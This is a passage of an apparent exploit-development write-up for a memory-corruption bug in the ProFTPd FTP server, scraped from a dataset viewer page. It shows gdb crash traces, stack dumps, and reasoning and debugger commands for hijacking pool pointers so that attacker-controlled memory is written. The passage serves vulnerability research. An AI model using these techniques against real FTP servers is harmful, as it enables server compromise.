text stringlengths 0 1.99k |
|---|
70 if (src && *src) { |
71 for (; *src && n > 1; n--) { |
→ 72 *d++ = *src++; |
73 res++; |
74 } |
75 } |
76 |
77 *d = '\0'; |
────────────────────────────────────────────────────────────── threads ──── |
[#0] Id 1, stopped 0x555555634d28 in sstrncpy (), reason: SIGSEGV |
──────────────────────────────────────────────────────────────── trace ──── |
[#0] sstrncpy(dst=0x4343434343434343, src=0x555555688769 "26", n=0x4) |
sstrncpy is the function that copies error messages like "426" and others. |
The easiest way to exploit this would be partial overwrite using the "426" |
error code that ProFTPd writes, by returning p->last->h.first_avail (that |
we control) and manipulate the rest. We could do that by using the stack |
(which is more predictable than heap), but the problem is that given X |
pointing to an address in the stack, X should be greater than X+3 in *long |
size. Also the execution flow is limited and we cannot write to r-x memory |
pages (AKA code). |
gef➤ x/64a $rsp |
0x7fffffffd900: 0x0 0x5564236f |
0x7fffffffd910: 0x4 0x5555556e0440 |
0x7fffffffd920: 0x0 0x1 |
0x7fffffffd930: 0x8 0xc4d53d3e8c629700 |
0x7fffffffd940: 0x415353454d5f434c 0x1ff6 |
0x7fffffffd950: 0x7fffffffd970 0x555555575a8e <palloc+44> |
0x7fffffffd960: 0x4 0x5555556e0440 |
0x7fffffffd970: 0x7fffffffd9a0 0x555555577839 <pstrdup+91> |
0x7fffffffd980: 0x555555688768 0x5555556e0440 |
0x7fffffffd990: 0x4 0x55678b00 |
0x7fffffffd9a0: 0x7fffffffd9d0 0x5555555a42db <pr_response_set_pool+83> |
0x7fffffffd9b0: 0x55555566c678 0x5555556e0440 |
0x7fffffffd9c0: 0x555555688768 0x5555555f27bc <stor_abort+1227> |
0x7fffffffd9d0: 0x7fffffffda10 0x55555557025e <pr_cmd_dispatch_phase+240> |
0x7fffffffd9e0: 0x400000000 0x5555556b99f8 |
0x7fffffffd9f0: 0x0 0x0 |
0x7fffffffda00: 0x0 0x5555556b60f0 |
0x7fffffffda10: 0x7fffffffda40 0x5555555fc463 <xfer_exit_ev+251> |
0x7fffffffda20: 0x0 0x0 |
0x7fffffffda30: 0x7fffffffda80 0x5555556b99f8 |
0x7fffffffda40: 0x7fffffffda80 0x5555555c0b3d <pr_event_generate+532> |
0x7fffffffda50: 0x0 0x5555556482f5 |
0x7fffffffda60: 0x7fffffffda80 0x5558e808 |
0x7fffffffda70: 0x555555684d68 0x5555556b0a20 |
0x7fffffffda80: 0x7fffffffdac0 0x5555555c1ee6 <sess_cleanup+422> |
0x7fffffffda90: 0x7fffffffdaf0 0xf7f23b00 |
0x7fffffffdaa0: 0x7ffff7f60aa0 <__libc_setlocale_lock> 0x5555556b2d20 |
0x7fffffffdab0: 0x1007 0xd9f8 |
0x7fffffffdac0: 0x7fffffffdaf0 0x5555555c200d <pr_session_end+32> |
0x7fffffffdad0: 0xffffffff 0xf7ffd040 |
0x7fffffffdae0: 0xffffffffffffffff 0xf7df775a |
0x7fffffffdaf0: 0x7fffffffdb30 0x5555555c1fea <pr_session_disconnect+178> |
I tried a lot of partial overwrite of stack-return values. Some of them |
could indeed be used, but it would require more work and a different |
approach - on later chapter I mention this as an alternative attack method. |
As a result, I gave up on partial overwrite with error code/message. |
By analysing the source code and the flow during execution, I noticed that |
inside pr_auth_cache_clear() there are some calls to pr_table_empty(). |
This function is interesting because of the loop it does, which we could |
use to iterate over new_pool members until we find a pointer to the data |
that we control. |
table.c: |
943 for (i = 0; i < tab->nchains; i++) { |
944 pr_table_entry_t *e; |
945 |
946 e = tab->chains[i]; |
947 while (e != NULL) { |
948 if (!handling_signal) { |
949 pr_signals_handle(); |
950 } |
951 |
952 tab_entry_remove(tab, e); |
953 tab_entry_free(tab, e); |
954 |
955 e = tab->chains[i]; |
956 } |
957 |
958 tab->chains[i] = NULL; |
959 } |
During execution, the pr_auth_cache_clear() function is called. It contains |
several struct table_rec that could be used - I've chosen gid_tab. |
The idea here is to combine resp_pool members with gid_tab members, so we |
keep controlling the memory blocks that ProFTPd writes the error messages |
into until we reach the FTP command we sent. Let's try it out again from |
our pool.c:569 breakpoint, but adding a nice trick: |
gef➤ dprintf str.c:278, "sstrncpy(res=%p, str=%s, len=%d)\n", res, str,len |
gef➤ set p->last = &p->cleanups |
gef➤ set p->sub_pools = ((char *)session.curr_cmd_rec) - 0x28 |
gef➤ set p->sub_next = gid_tab |
gef➤ c |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.